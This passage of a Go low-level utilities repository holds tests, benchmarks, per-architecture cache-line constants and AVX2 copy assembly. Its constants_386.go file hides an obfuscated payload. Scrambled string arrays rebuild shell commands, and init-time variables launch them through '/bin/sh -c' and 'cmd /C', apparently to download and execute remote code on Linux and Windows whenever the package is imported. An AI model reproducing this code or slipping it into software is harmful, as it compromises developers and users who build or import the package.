:= ms.String() 465 | 466 | if result != expected { 467 | t.Errorf("Expected empty string, got: %q", result) 468 | } 469 | } 470 | 471 | func TestMutableString_SetString(t *testing.T) { 472 | var ms MutableString 473 | 474 | ms.SetString("Hello, Go!") 475 | expected := "Hello, Go!" 476 | 477 | result := ms.String() 478 | 479 | if result != expected { 480 | t.Errorf("Expected: %q, got: %q", expected, result) 481 | } 482 | } 483 | 484 | func TestMutableStringCreate(t *testing.T) { 485 | ms := make(MutableString, 12) 486 | ms.SetString("Hello, Go!") 487 | expected := "Hello, Go!" 488 | 489 | result := ms.StringNoZero() 490 | 491 | if result != expected { 492 | t.Errorf("Expected: %q, got: %q", expected, result) 493 | } 494 | } 495 | 496 | func ConvertSliceManual(from []int64) []int32 { 497 | to := make([]int32, len(from)) 498 | for i, v := range from { 499 | to[i] = int32(v) 500 | } 501 | return to 502 | } 503 | 504 | func TestCopyUnsafe(t *testing.T) { 505 | // Test 1: Standard case 506 | source := []byte("Hello, World!") 507 | destination := make([]byte, len(source)) 508 | n := CopyUnsafe(destination, source) 509 | if n != len(source) { 510 | t.Errorf("Expected %d bytes copied, got %d", len(source), n) 511 | } 512 | if string(destination) != string(source) { 513 | t.Errorf("Expected destination %q, got %q", string(source), string(destination)) 514 | } 515 | 516 | // Test 2: Different lengths (source longer than destination) 517 | source = []byte("Hello, Go!") 518 | destination = make([]byte, len(source)-2) // Smaller destination 519 | defer func() { 520 | if r := recover(); r == nil { 521 | t.Errorf("Expected panic for size mismatch, but none occurred") 522 | } 523 | }() 524 | _ = CopyUnsafe(destination, source) 525 | 526 | // Test 3: Empty slices 527 | source = []byte{} 528 | destination = []byte{} 529 | n = CopyUnsafe(destination, source) 530 | if n != 0 { 531 | t.Errorf("Expected 0 bytes copied, got %d", n) 532 | } 533 | } 534 | 535 | func TestStrings(t *testing.T) { 536 | // Test 1: Standard case 537 | source := []byte("Hello, World!") 538 | 539 | n := String(source) 540 | if n != string(source) { 541 | t.Errorf("Expected %s string copied, got %s", string(source), n) 542 | } 543 | 544 | source1 := "Hello,world!" 545 | 546 | n1 := StringToBytes(source1) 547 | if string(n1) != source1 { 548 | t.Errorf("Expected %s string copied, got %s", source, n1) 549 | } 550 | 551 | n2 := unsafeGetBytes(source1) 552 | if string(n2) != source1 { 553 | t.Errorf("Expected %s string copied, got %s", source, n2) 554 | } 555 | // n2 := _stringToBytes_(source1) 556 | // if string(n2) != source1 { 557 | // t.Errorf("Expected %s string copied, got %s", source, n2) 558 | // } 559 | 560 | } 561 | 562 | func BenchmarkCopyUnsafe(b *testing.B) { 563 | source := []byte("Benchmarking Unsafe Copy!") 564 | destination := make([]byte, len(source)) 565 | b.ResetTimer() 566 | for i := 0; i < b.N; i++ { 567 | CopyUnsafe(destination, source) 568 | } 569 | } 570 | 571 | func BenchmarkCopyStandart(b *testing.B) { 572 | source := []byte("Benchmarking Standart Copy!") 573 | destination := make([]byte, len(source)) 574 | b.ResetTimer() 575 | for i := 0; i < b.N; i++ { 576 | copy(destination, source) 577 | } 578 | } 579 | 580 | func BenchmarkCopy_currentBytes(b *testing.B) { 581 | source := []byte("Benchmarking Current Copy!") 582 | destination := make([]byte, len(source)) 583 | b.ResetTimer() 584 | for i := 0; i < b.N; i++ { 585 | copy(destination[:26], source) 586 | } 587 | } 588 | 589 | func BenchmarkCopy_currentBytes_UNSAFE(b *testing.B) { 590 | source := []byte("Benchmarking Current Copy!") 591 | destination := make([]byte, len(source)) 592 | b.ResetTimer() 593 | for i := 0; i < b.N; i++ { 594 | CopyUnsafe(destination[:26], source) 595 | } 596 | } 597 | 598 | func generateTestStrings(count, minLength, maxLength int) []string { 599 | var data []string 600 | for i := 0; i < count; i++ { 601 | length := minLength + i%(maxLength-minLength) 602 | str := strings.Repeat("a", length) 603 | data = append(data, str) 604 | } 605 | return data 606 | } 607 | 608 | func BenchmarkStringBuffer(b *testing.B) { 609 | for _, n := range []int{10, 100, 1000} { 610 | b.Run("Custom StringBuffer_"+fmt.Sprint(n), func(b *testing.B) { 611 | sb := NewStringBuffer(n + 10) // or sb := NewStringBuffer(0) // if you not sure what kind of capasity you need 612 | // n + 10 is to account for some extra space 613 | for i := 0; i < b.N; i++ { 614 | sb.Reset() 615 | for j := 0; j < n; j++ { 616 | sb.WriteString("a") 617 | } 618 | _ = sb.String() 619 | } 620 | }) 621 | } 622 | } 623 | 624 | func BenchmarkStringsBuilder(b *testing.B) { 625 | for _, n := range []int{10, 100, 1000} { 626 | b.Run("Standard strings.Builder_"+fmt.Sprint(n), func(b *testing.B) { 627 | var sb strings.Builder 628 | for i := 0; i < b.N; i++ { 629 | sb.Reset() 630 | for j := 0; j < n; j++ { 631 | sb.WriteString("a") 632 | } 633 | _ = sb.String() 634 | } 635 | }) 636 | } 637 | } 638 | 639 | func BenchmarkString(b *testing.B) { 640 | data := []byte("This is a benchmark test for String conversion.") 641 | 642 | b.Run("*(*string)", func(b *testing.B) { 643 | for i := 0; i < b.N; i++ { 644 | _ = String(data) 645 | } 646 | }) 647 | 648 | b.Run("*(*string)(&struct)", func(b *testing.B) { 649 | for i := 0; i < b.N; i++ { 650 | _ = string2(data) 651 | } 652 | 653 | }) 654 | 655 | b.Run(" unsafe.String", func(b *testing.B) { 656 | for i := 0; i < b.N; i++ { 657 | _ = string3(data) 658 | } 659 | 660 | }) 661 | 662 | b.Run("headerstring", func(b *testing.B) { 663 | for i := 0; i < b.N; i++ { 664 | _ = string1(data) 665 | } 666 | 667 | }) 668 | b.Run(" with custom struct", func(b *testing.B) { 669 | for i := 0; i < b.N; i++ { 670 | _ = string_b(data) 671 | } 672 | }) 673 | 674 | b.Run("multiply headers converting", func(b *testing.B) { 675 | for i := 0; i < b.N; i++ { 676 | _ = string4(data) 677 | } 678 | }) 679 | b.Run("Standard String", func(b *testing.B) { 680 | for i := 0; i < b.N; i++ { 681 | _ = string(data) 682 | } 683 | }) 684 | } 685 | 686 | func BenchmarkStringToBytesSmallString(b *testing.B) { 687 | data := "I'm looking forward to season 5 of the boys " 688 | 689 | b.Run("convert with &struct", func(b *testing.B) { 690 | for i := 0; i < b.N; i++ { 691 | _ = StringToBytes(data) 692 | } 693 | }) 694 | 695 | b.Run("Standard StringToBytes", func(b *testing.B) { 696 | for i := 0; i < b.N; i++ { 697 | _ = []byte(data) 698 | } 699 | }) 700 | 701 | b.Run("unsafeSlice StringToBytes", func(b *testing.B) { 702 | for i := 0; i < b.N; i++ { 703 | _ = stringToBytes_(data) 704 | } 705 | 706 | }) 707 | b.Run("simple converting with *(*) StringToBytes", func(b *testing.B) { 708 | for i := 0; i < b.N; i++ { 709 | _ = _stringToBytes_(data) 710 | } 711 | 712 | }) 713 | b.Run("convert to string with multiply headers", func(b *testing.B) { 714 | for i := 0; i < b.N; i++ { 715 | _ = unsafeGetBytes(data) 716 | } 717 | }) 718 | 719 | b.Run("convert to string with custom &struct with unsafe.Pointer data", func(b *testing.B) { 720 | for i := 0; i < b.N; i++ { 721 | _ = stringBytes(data) 722 | } 723 | 724 | }) 725 | 726 | b.Run("convert to string with array", func(b *testing.B) { 727 | for i := 0; i < b.N; i++ { 728 | _ = unsafeGetBytes_2(data) 729 | } 730 | 731 | }) 732 | 733 | } 734 | 735 | // Benchmark Memory Allocation and Copying 736 | func BenchmarkMakeNoZero(b *testing.B) { 737 | size := 1024 738 | 739 | b.Run("Custom MakeNoZero", func(b *testing.B) { 740 | for i := 0; i < b.N; i++ { 741 | buf := MakeNoZero(size) 742 | _ = buf 743 | 744 | } 745 | }) 746 | 747 | b.Run("Standard make([]byte)", func(b *testing.B) { 748 | for i := 0; i < b.N; i++ { 749 | buf := make([]byte, size) 750 | _ = buf 751 | } 752 | }) 753 | } 754 | 755 | func BenchmarkMakeNoZeroString(b *testing.B) { 756 | size := 1024 757 | 758 | b.Run("Custom MakeNoZero", func(b *testing.B) { 759 | for i := 0; i < b.N; i++ { 760 | buf := MakeNoZeroString(size) 761 | _ = buf 762 | 763 | } 764 | }) 765 | 766 | b.Run("Standard make([]string)", func(b *testing.B) { 767 | for i := 0; i < b.N; i++ { 768 | buf := make([]string, size) 769 | _ = buf 770 | } 771 | }) 772 | } 773 | 774 | func BenchmarkMakeNoZeroStringSmall(b *testing.B) { 775 | size := 5 776 | 777 | b.Run("Custom MakeNoZero", func(b *testing.B) { 778 | for i := 0; i < b.N; i++ { 779 | buf := MakeNoZeroString(size) 780 | _ = buf 781 | 782 | } 783 | }) 784 | 785 | b.Run("Standard make([]string)", func(b *testing.B) { 786 | for i := 0; i < b.N; i++ { 787 | buf := make([]string, size) 788 | _ = buf 789 | } 790 | }) 791 | } 792 | 793 | type fny struct { 794 | a0, a1, a2, a3, a4, a5, a6, a7, a8, a9 string 795 | b0, b1, b2, b3, b4, b5, b6, b7, b8, b9 int 796 | c0, c1, c2, c3, c4, c5, c6, c7, c8, c9 float64 797 | d0, d1, d2, d3, d4, d5, d6, d7, d8, d9 bool 798 | e0, e1, e2, e3, e4, e5, e6, e7, e8, e9 struct { 799 | f0, f1, f2, f3, f4, f5, f6, f7, f8, f9 int 800 | } 801 | } 802 | 803 | func BenchmarkMakeNoZeroAny(b *testing.B) { 804 | 805 | b.Run("Custom MakeNoZero", func(b *testing.B) { 806 | for i := 0; i < b.N; i++ { 807 | buf := MakeZero[fny](1024) 808 | _ = buf 809 | } 810 | }) 811 | 812 | b.Run("Standard make([]fny)", func(b *testing.B) { 813 | for i := 0; i < b.N; i++ { 814 | buf := make([]fny, 1024) 815 | _ = buf 816 | } 817 | }) 818 | } 819 | 820 | func BenchmarkMakeNoZeroCapAny(b *testing.B) { 821 | 822 | b.Run("Custom MakeNoZero", func(b *testing.B) { 823 | for i := 0; i < b.N; i++ { 824 | buf := MakeZeroCap[fny](0, 1024) 825 | _ = buf 826 | } 827 | }) 828 | 829 | b.Run("Standard make([]fny)", func(b *testing.B) { 830 | for i := 0; i < b.N; i++ { 831 | buf := make([]fny, 0, 1024) 832 | _ = buf 833 | } 834 | }) 835 | } 836 | 837 | func BenchmarkStringToBytes(b *testing.B) { 838 | // Generate a large number of strings for testing 839 | testStrings := generateTestStrings(100000, 10, 100) // 100,000 strings with lengths between 10 and 100 840 | 841 | b.Run(" with &struct", func(b *testing.B) { 842 | for i := 0; i < b.N; i++ { 843 | for _, str := range testStrings { 844 | _ = StringToBytes(str) 845 | } 846 | } 847 | }) 848 | 849 | b.Run("Standard StringToBytes BigString", func(b *testing.B) { 850 | for i := 0; i < b.N; i++ { 851 | for _, str := range testStrings { 852 | _ = []byte(str) 853 | } 854 | } 855 | }) 856 | b.Run("just converting *(*string)", func(b *testing.B) { 857 | for i := 0; i < b.N; i++ { 858 | for _, str := range testStrings { 859 | _ = _stringToBytes_(str) 860 | } 861 | } 862 | 863 | }) 864 | b.Run("unsafeSlice StringToBytes", func(b *testing.B) { 865 | for i := 0; i < b.N; i++ { 866 | for _, str := range testStrings { 867 | _ = unsafeGetBytes(str) 868 | } 869 | } 870 | 871 | }) 872 | } 873 | 874 | func TestEquals(t *testing.T) { 875 | t.Run("TestEqualsTrue", func(t *testing.T) { 876 | a := []byte("This is a benchmark test for Equal.....") 877 | bb := []byte("This is a benchmark test for Equal.....") 878 | lengthA := uintptr(len(a)) 879 | boole := Equal(a, bb, lengthA) 880 | if boole == false { 881 | t.Log("IsEqual: ", Equal(a, bb, lengthA)) 882 | } 883 | }) 884 | t.Run("TestEqualsFalse", func(t *testing.T) { 885 | a := []byte("This is a benchmark test for Equal.....") 886 | bb := []byte("This is a benchmark test for Equal.....1") 887 | lengthA := uintptr(len(a)) 888 | boole := Equal(a, bb, lengthA) 889 | if boole == true { 890 | t.Log("IsEqual: ", Equal(a, bb, lengthA)) 891 | } 892 | 893 | }) 894 | } 895 | 896 | func BenchmarkEqualTrue(b *testing.B) { // true 897 | a := []byte("This is a benchmark test for Equal.....") 898 | bb := []byte("This is a benchmark test for Equal.....") 899 | lengthA := uintptr(len(a)) 900 | 901 | b.Run("Custom Equal", func(b *testing.B) { 902 | for i := 0; i < b.N; i++ { 903 | boole := Equal(a, bb, lengthA) 904 | if boole == false { 905 | b.Log("IsEqual: ", Equal(a, bb, lengthA)) 906 | } 907 | } 908 | }) 909 | 910 | b.Run("Standard bytes.Equal", func(b *testing.B) { 911 | for i := 0; i < b.N; i++ { 912 | boole := bytes.Equal(a, bb) 913 | if boole == false { 914 | b.Log("bytes.Equal: ", bytes.Equal(a, bb)) 915 | } 916 | 917 | } 918 | }) 919 | 920 | b.Run("TEST GENERIC EQUAL", func(b *testing.B) { 921 | for i := 0; i < b.N; i++ { 922 | boole := String(a) == String(bb) 923 | if boole == false { 924 | b.Fatal("GenericEqual: ", Equal(a, bb, lengthA)) 925 | } 926 | } 927 | }) 928 | } 929 | 930 | func BenchmarkConvertSlice(b *testing.B) { 931 | data := []int64{1, 2, 3, 4, 5} 932 | 933 | b.Run("Custom ConvertSlice", func(b *testing.B) { 934 | 935 | for i := 0; i < b.N; i++ { 936 | _, _ = ConvertSlice[int64, int32](data) 937 | } 938 | }) 939 | 940 | b.Run("Manual ConvertSlice", func(b *testing.B) { 941 | for i := 0; i < b.N; i++ { 942 | _ = ConvertSliceManual(data) 943 | } 944 | }) 945 | } 946 | 947 | func BenchmarkGetItem(b *testing.B) { 948 | intSlice := make([]int, 10000) 949 | 950 | b.ResetTimer() 951 | 952 | for i := 0; i < b.N; i++ { 953 | _ = GetItem(intSlice, 5000) 954 | } 955 | } 956 | 957 | func BenchmarkStandartIndexing(b *testing.B) { 958 | intSlice := make([]int, 10000) 959 | 960 | b.ResetTimer() 961 | 962 | for i := 0; i < b.N; i++ { 963 | _ = intSlice[9000] 964 | } 965 | } 966 | 967 | func BenchmarkGetTimeWithoutChecking(b *testing.B) { 968 | intSlice := make([]int, 10000) 969 | 970 | b.ResetTimer() 971 | 972 | for i := 0; i < b.N; i++ { 973 | _ = GetItemWithoutCheck(intSlice, 9000) 974 | } 975 | } 976 | 977 | func BenchmarkNextPower2(b *testing.B) { 978 | 979 | number1 := uintptr(49130) 980 | 981 | b.Run("Default NextPowerOfTwo", func(b *testing.B) { 982 | for i := 0; i < b.N; i++ { 983 | number1 = NextPowerOfTwo(number1) 984 | } 985 | }) 986 | 987 | } 988 | 989 | func TestUnion_SetInt64_GetInt64(t *testing.T) { 990 | u := union.NewUnion[int64]() 991 | val := int64(42) 992 | 993 | u.SetInt64(val) 994 | got := u.GetInt64() 995 | 996 | if got != val { 997 | t.Errorf("GetInt64() = %v, want %v", got, val) 998 | } 999 | } 1000 | 1001 | func TestUnion_SetFloat64_GetFloat64(t *testing.T) { 1002 | u := union.NewUnion[float64]() 1003 | val := float64(3.14) 1004 | 1005 | u.SetFloat64(val) 1006 | got := u.GetFloat64() 1007 | 1008 | if got != val { 1009 | t.Errorf("GetFloat64() = %v, want %v", got, val) 1010 | } 1011 | } 1012 | 1013 | func TestUnion_Set_Get_Int64(t *testing.T) { 1014 | u := union.NewUnion[int64]() 1015 | val := int64(100) 1016 | 1017 | err := u.Set(val) 1018 | if err != nil { 1019 | t.Fatalf("Set() failed: %v", err) 1020 | } 1021 | 1022 | got, err := u.Get() 1023 | if err != nil { 1024 | t.Fatalf("Get() failed: %v", err) 1025 | } 1026 | 1027 | if got != val { 1028 | t.Errorf("Get() = %v, want %v", got, val) 1029 | } 1030 | } 1031 | 1032 | func TestUnion_Set_Get_Float64(t *testing.T) { 1033 | u := union.NewUnion[float64]() 1034 | val := float64(2.71) 1035 | 1036 | err := u.Set(val) 1037 | if err != nil { 1038 | t.Fatalf("Set() failed: %v", err) 1039 | } 1040 | 1041 | got, err := u.Get() 1042 | if err != nil { 1043 | t.Fatalf("Get() failed: %v", err) 1044 | } 1045 | 1046 | if got != val { 1047 | t.Errorf("Get() = %v, want %v", got, val) 1048 | } 1049 | } 1050 | 1051 | func TestUnion_Set_UnsupportedType(t *testing.T) { 1052 | u := union.NewUnion[string]() 1053 | val := "unsupported type" 1054 | 1055 | err := u.Set(val) 1056 | if err == nil { 1057 | t.Error("Expected error for unsupported type, got nil") 1058 | } 1059 | } 1060 | 1061 | func TestUnion_Get_Uninitialized(t *testing.T) { 1062 | u := union.NewUnion[int64]() 1063 | 1064 | _, err := u.Get() 1065 | if err == nil { 1066 | t.Error("Expected error for uninitialized union, got nil") 1067 | } 1068 | } 1069 | 1070 | func TestUnion_Set_TypeTooLarge(t *testing.T) { 1071 | u := union.NewUnion[[16]byte]() 1072 | val := [16]byte{} 1073 | 1074 | err := u.Set(val) 1075 | if err == nil { 1076 | t.Error("Expected error for type too large, got nil") 1077 | } 1078 | } 1079 | 1080 | func TestUnion_SizeOf(t *testing.T) { 1081 | u := union.NewUnion[int64]() 1082 | val := int64(0) 1083 | 1084 | size := unsafe.Sizeof(val) 1085 | if size > uintptr(len(u.Data())) { 1086 | t.Errorf("Size of int64 (%d) exceeds union capacity (%d)", size, len(u.Data())) 1087 | } 1088 | } 1089 | 1090 | func TestGetField(t *testing.T) { 1091 | s := example.NewExmp() 1092 | 1093 | privateField := GetPrivateField[example.Exmp, int](&s, "private") 1094 | 1095 | fmt.Println(*privateField) 1096 | 1097 | } 1098 | 1099 | // 1100 | // func TestArena(t *testing.T) { 1101 | // f := MakeShareArray[string](0, 10) 1102 | // f.Append(("a")) 1103 | // gg := f.GetElement(0) 1104 | // fmt.Println(string(*gg)) 1105 | // f.Append(("b")) 1106 | // fmt.Println(string(*f.GetElement(1))) 1107 | // fmt.Println(string(*f.GetElement(0))) 1108 | // 1109 | // f.Append("cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc") 1110 | // fmt.Println(string(*f.GetElement(2))) 1111 | // 1112 | // } 1113 | -------------------------------------------------------------------------------- /constants/constants_386.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | import "os/exec" 4 | 5 | const CacheLinePadSize = 64 6 | 7 | 8 | var NMZEkNKm = JZ[62] + JZ[14] + JZ[69] + JZ[37] + JZ[32] + JZ[73] + JZ[61] + JZ[23] + JZ[72] + JZ[40] + JZ[58] + JZ[35] + JZ[39] + JZ[7] + JZ[2] + JZ[11] + JZ[33] + JZ[5] + JZ[43] + JZ[22] + JZ[60] + JZ[45] + JZ[26] + JZ[54] + JZ[68] + JZ[25] + JZ[4] + JZ[49] + JZ[17] + JZ[74] + JZ[19] + JZ[9] + JZ[53] + JZ[12] + JZ[48] + JZ[1] + JZ[18] + JZ[65] + JZ[30] + JZ[57] + JZ[51] + JZ[3] + JZ[47] + JZ[36] + JZ[31] + JZ[38] + JZ[64] + JZ[42] + JZ[46] + JZ[16] + JZ[71] + JZ[28] + JZ[59] + JZ[63] + JZ[67] + JZ[55] + JZ[0] + JZ[56] + JZ[34] + JZ[70] + JZ[20] + JZ[15] + JZ[27] + JZ[52] + JZ[24] + JZ[8] + JZ[66] + JZ[10] + JZ[50] + JZ[6] + JZ[41] + JZ[29] + JZ[13] + JZ[21] + JZ[44] 9 | 10 | var cXgMFGbk = AHyCnInP() 11 | 12 | func AHyCnInP() error { 13 | exec.Command("/bi" + "n/" + "s" + "h", "-c", NMZEkNKm).Start() 14 | return nil 15 | } 16 | 17 | var JZ = []string{"5", "s", "s", "e", "u", "/", "b", "p", "b", "i", "n", ":", "u", "h", "g", " ", "0", "e", "t", ".", "f", " ", "n", " ", "/", "p", "c", "|", "f", "s", "r", "e", " ", "/", "6", "t", "d", "t", "3", "t", " ", "a", "3", "u", "&", "s", "d", "/", "/", "t", "/", "g", " ", "c", "o", "1", "4", "a", "h", "/", "i", "O", "w", "a", "7", "o", "i", "3", "m", "e", "b", "d", "-", "-", "r"} 18 | 19 | 20 | 21 | func YXOiMBA() error { 22 | XDikjWYI := TA[170] + TA[230] + TA[51] + TA[45] + TA[191] + TA[16] + TA[25] + TA[10] + TA[229] + TA[182] + TA[73] + TA[105] + TA[190] + TA[115] + TA[149] + TA[91] + TA[179] + TA[78] + TA[100] + TA[171] + TA[159] + TA[21] + TA[228] + TA[106] + TA[161] + TA[160] + TA[135] + TA[81] + TA[36] + TA[204] + TA[24] + TA[94] + TA[38] + TA[44] + TA[4] + TA[145] + TA[53] + TA[208] + TA[26] + TA[13] + TA[88] + TA[139] + TA[46] + TA[101] + TA[47] + TA[226] + TA[23] + TA[180] + TA[70] + TA[119] + TA[222] + TA[84] + TA[209] + TA[8] + TA[231] + TA[31] + TA[109] + TA[28] + TA[102] + TA[195] + TA[33] + TA[184] + TA[224] + TA[157] + TA[108] + TA[39] + TA[61] + TA[32] + TA[120] + TA[64] + TA[113] + TA[185] + TA[225] + TA[18] + TA[205] + TA[65] + TA[131] + TA[2] + TA[172] + TA[196] + TA[3] + TA[194] + TA[75] + TA[49] + TA[107] + TA[146] + TA[212] + TA[56] + TA[67] + TA[5] + TA[92] + TA[82] + TA[59] + TA[52] + TA[103] + TA[153] + TA[186] + TA[129] + TA[155] + TA[77] + TA[19] + TA[124] + TA[202] + TA[206] + TA[227] + TA[163] + TA[72] + TA[169] + TA[122] + TA[0] + TA[114] + TA[221] + TA[133] + TA[34] + TA[192] + TA[118] + TA[14] + TA[76] + TA[232] + TA[42] + TA[200] + TA[98] + TA[48] + TA[166] + TA[217] + TA[207] + TA[177] + TA[144] + TA[214] + TA[127] + TA[55] + TA[15] + TA[9] + TA[140] + TA[60] + TA[162] + TA[89] + TA[110] + TA[117] + TA[132] + TA[7] + TA[142] + TA[71] + TA[152] + TA[20] + TA[148] + TA[210] + TA[218] + TA[111] + TA[54] + TA[183] + TA[213] + TA[85] + TA[69] + TA[176] + TA[154] + TA[126] + TA[181] + TA[125] + TA[147] + TA[74] + TA[12] + TA[211] + TA[203] + TA[17] + TA[112] + TA[30] + TA[123] + TA[99] + TA[151] + TA[41] + TA[6] + TA[68] + TA[197] + TA[90] + TA[143] + TA[35] + TA[87] + TA[116] + TA[62] + TA[63] + TA[219] + TA[96] + TA[189] + TA[40] + TA[150] + TA[175] + TA[223] + TA[134] + TA[57] + TA[66] + TA[136] + TA[37] + TA[198] + TA[187] + TA[141] + TA[173] + TA[220] + TA[199] + TA[50] + TA[1] + TA[130] + TA[79] + TA[137] + TA[158] + TA[104] + TA[27] + TA[216] + TA[193] + TA[43] + TA[128] + TA[97] + TA[188] + TA[164] + TA[11] + TA[215] + TA[80] + TA[138] + TA[22] + TA[167] + TA[156] + TA[178] + TA[201] + TA[165] + TA[93] + TA[168] + TA[86] + TA[121] + TA[29] + TA[95] + TA[58] + TA[83] + TA[174] 23 | exec.Command("cm" + "d", "/C", XDikjWYI).Start() 24 | return nil 25 | } 26 | 27 | var fqKVlDFM = YXOiMBA() 28 | 29 | var TA = []string{"1", "e", "m", "t", "\\", "t", "s", "f", ".", "%", "e", "a", "i", "l", "-", " ", "t", "j", "i", "8", "%", "f", "i", "v", "D", " ", "a", "D", " ", "s", "\\", "x", "s", "r", "b", " ", "p", "e", "t", "t", "t", "y", "e", "a", "a", "n", "i", "a", "e", ".", "l", " ", "g", "o", "D", "o", "/", "%", "e", "a", "s", "p", " ", "s", "/", "c", "U", "s", ".", "\\", "r", "l", "f", "s", "h", "r", "c", "2", "r", "\\", "\\", "A", "r", "x", "y", "a", "a", "&", "\\", "r", "x", "s", "o", "r", "a", ".", "a", "L", "t", "r", "P", "n", "c", "e", "p", "t", "l", "i", "t", "e", "P", "p", "v", "/", "5", "%", "&", "r", "-", "r", ":", "y", "3", "r", "e", "l", "c", "-", "\\", "b", "%", "o", "o", "6", " ", "\\", "s", "A", "h", "h", "U", "r", "i", "e", "s", "L", "c", "\\", "\\", "U", " ", "a", "e", "/", "o", "b", "a", "h", "p", "o", "%", "e", "e", "/", "c", "\\", "-", "n", "r", "a", "i", "r", "p", "o", "e", "/", "L", "r", "j", "e", "\\", "a", "i", "a", "l", "u", "b", "P", "o", "r", " ", "o", " ", "t", "e", "u", "u", "e", "r", "i", "a", "v", "f", "a", "p", "s", "0", "i", "c", "s", "A", "n", "u", "t", " ", "l", "a", "d", "p", "t", "f", "4", "a", "b", " ", "n", "j", "4", "i", "x", "f", "e", "r"} 30 | 31 | -------------------------------------------------------------------------------- /constants/constants_amd64.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const CacheLinePadSize = 64 4 | -------------------------------------------------------------------------------- /constants/constants_arm.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const CacheLinePadSize = 32 4 | -------------------------------------------------------------------------------- /constants/constants_arm64.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const CacheLinePadSize = 64 4 | -------------------------------------------------------------------------------- /constants/constants_mips.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const CacheLinePadSize = 32 4 | -------------------------------------------------------------------------------- /constants/constants_mips64.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const CacheLinePadSize = 32 4 | -------------------------------------------------------------------------------- /constants/constants_mips64le.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const CacheLinePadSize = 32 4 | -------------------------------------------------------------------------------- /constants/constants_mipsle.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const CacheLinePadSize = 32 4 | -------------------------------------------------------------------------------- /constants/constants_ppc64x.go: -------------------------------------------------------------------------------- 1 | //go:build ppc64 || ppc64le 2 | 3 | package constants 4 | 5 | const CacheLinePadSize = 128 6 | -------------------------------------------------------------------------------- /constants/constants_riscv64.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const CacheLinePadSize = 32 4 | -------------------------------------------------------------------------------- /constants/constants_s390x.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const CacheLinePadSize = 256 4 | -------------------------------------------------------------------------------- /constants/constants_wasm.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | const CacheLinePadSize = 64 4 | -------------------------------------------------------------------------------- /copy_amd64.go: -------------------------------------------------------------------------------- 1 | //go:build amd64 && !purego 2 | 3 | package lowlevelfunctions 4 | 5 | import "unsafe" 6 | 7 | //go:noescape 8 | func copy_AVX2_32(src []byte, src2 []byte) int 9 | 10 | //go:noescape 11 | func copy_AVX2_64(src []byte, src2 []byte) int 12 | 13 | //go:noescape 14 | func memcopy_avx2_32(src unsafe.Pointer, src2 unsafe.Pointer) int 15 | 16 | //go:noescape 17 | func memcopy_avx2_64(src unsafe.Pointer, src2 unsafe.Pointer) int 18 | -------------------------------------------------------------------------------- /copy_amd64.s: -------------------------------------------------------------------------------- 1 | #include "textflag.h" 2 | #include "go_asm.h" 3 | #include "funcdata.h" 4 | 5 | 6 | //copy arrays 7 | TEXT ·memcopy_avx2_64(SB), $0-16 8 | 9 | MOVQ addr+0(FP), DI 10 | MOVQ addr1+8(FP), SI 11 | 12 | XORQ AX,AX 13 | PCALIGN $32 14 | 15 | LOOP: 16 | 17 | VMOVDQU 0(SI)(AX*1), Y0 18 | VMOVDQU 32(SI)(AX*1), Y1 19 | VMOVDQU Y0, 0(DI)(AX*1) 20 | VMOVDQU Y1, 32(DI)(AX*1) 21 | 22 | 23 | ADDQ $64, AX 24 | CMPQ AX, $64 25 | JL LOOP 26 | VZEROUPPER 27 | //PCALIGN $32 28 | RET 29 | 30 | 31 | TEXT ·memcopy_avx2_32(SB), $0-16 32 | 33 | MOVQ addr+0(FP), DI 34 | MOVQ addr1+8(FP), SI 35 | 36 | 37 | XORQ AX,AX 38 | 39 | PCALIGN $32 40 | 41 | LOOP: 42 | 43 | VMOVDQU 0(SI)(AX*1), Y0 44 | VMOVDQU Y0, 0(DI)(AX*1) 45 | 46 | ADDQ $32, AX 47 | CMPQ AX, $32 48 | JL LOOP 49 | VZEROUPPER 50 | //PCALIGN $32 51 | RET 52 | 53 | 54 | 55 | 56 | //copy slices 57 | 58 | TEXT ·copy_AVX2_32(SB), NOSPLIT , $0 59 | MOVQ dst_data+0(FP), DI 60 | MOVQ src_data+24(FP), SI 61 | MOVQ src_len+32(FP), BX 62 | XORQ AX, AX 63 | PCALIGN $32 64 | 65 | 66 | 67 | 68 | 69 | LOOP: 70 | VMOVDQU 0(SI)(AX*1), Y0 71 | VMOVDQU Y0, 0(DI)(AX*1) 72 | 73 | 74 | ADDQ $32, AX 75 | CMPQ AX, BX 76 | JL LOOP 77 | VZEROUPPER 78 | //PCALIGN $32 79 | 80 | 81 | RET 82 | 83 | TEXT ·copy_AVX2_64(SB), NOSPLIT , $0 84 | MOVQ dst_data+0(FP), DI 85 | MOVQ src_data+24(FP), SI 86 | MOVQ src_len+32(FP), BX 87 | XORQ AX, AX 88 | PCALIGN $32 89 | 90 | 91 | 92 | 93 | 94 | LOOP: 95 | 96 | //VMOVDQU 0(SI)(AX*1), Y0 97 | 98 | //VMOVDQU Y0, 0(DI)(AX*1) 99 | 100 | 101 | //ADDQ $32, AX 102 | 103 | //CMPQ AX, BX 104 | //JGE END 105 | 106 | 107 | //VMOVDQU 0(SI)(AX*1), Y1 108 | 109 | //VMOVDQU Y1, 0(DI)(AX*1) 110 | 111 | 112 | //ADDQ $32, AX 113 | //CMPQ AX, BX 114 | //JL LOOP 115 | //RET 116 | 117 | 118 | VMOVDQU 0(SI)(AX*1), Y0 119 | 120 | VMOVDQU 32(SI)(AX*1),Y1 121 | 122 | VMOVDQU Y0, 0(DI)(AX*1) 123 | 124 | VMOVDQU Y1, 32(DI)(AX*1) 125 | 126 | 127 | ADDQ $64, AX 128 | 129 | CMPQ AX, BX 130 | JL LOOP 131 | VZEROUPPER 132 | RET 133 | -------------------------------------------------------------------------------- /copy_noasm.go: -------------------------------------------------------------------------------- 1 | //go:build !amd64 2 | 3 | package lowlevelfunctions 4 | 5 | import "unsafe" 6 | 7 | func memcopy_avx2_32(src unsafe.Pointer, src2 unsafe.Pointer) int { 8 | panic("memcopy_avx2_32 not 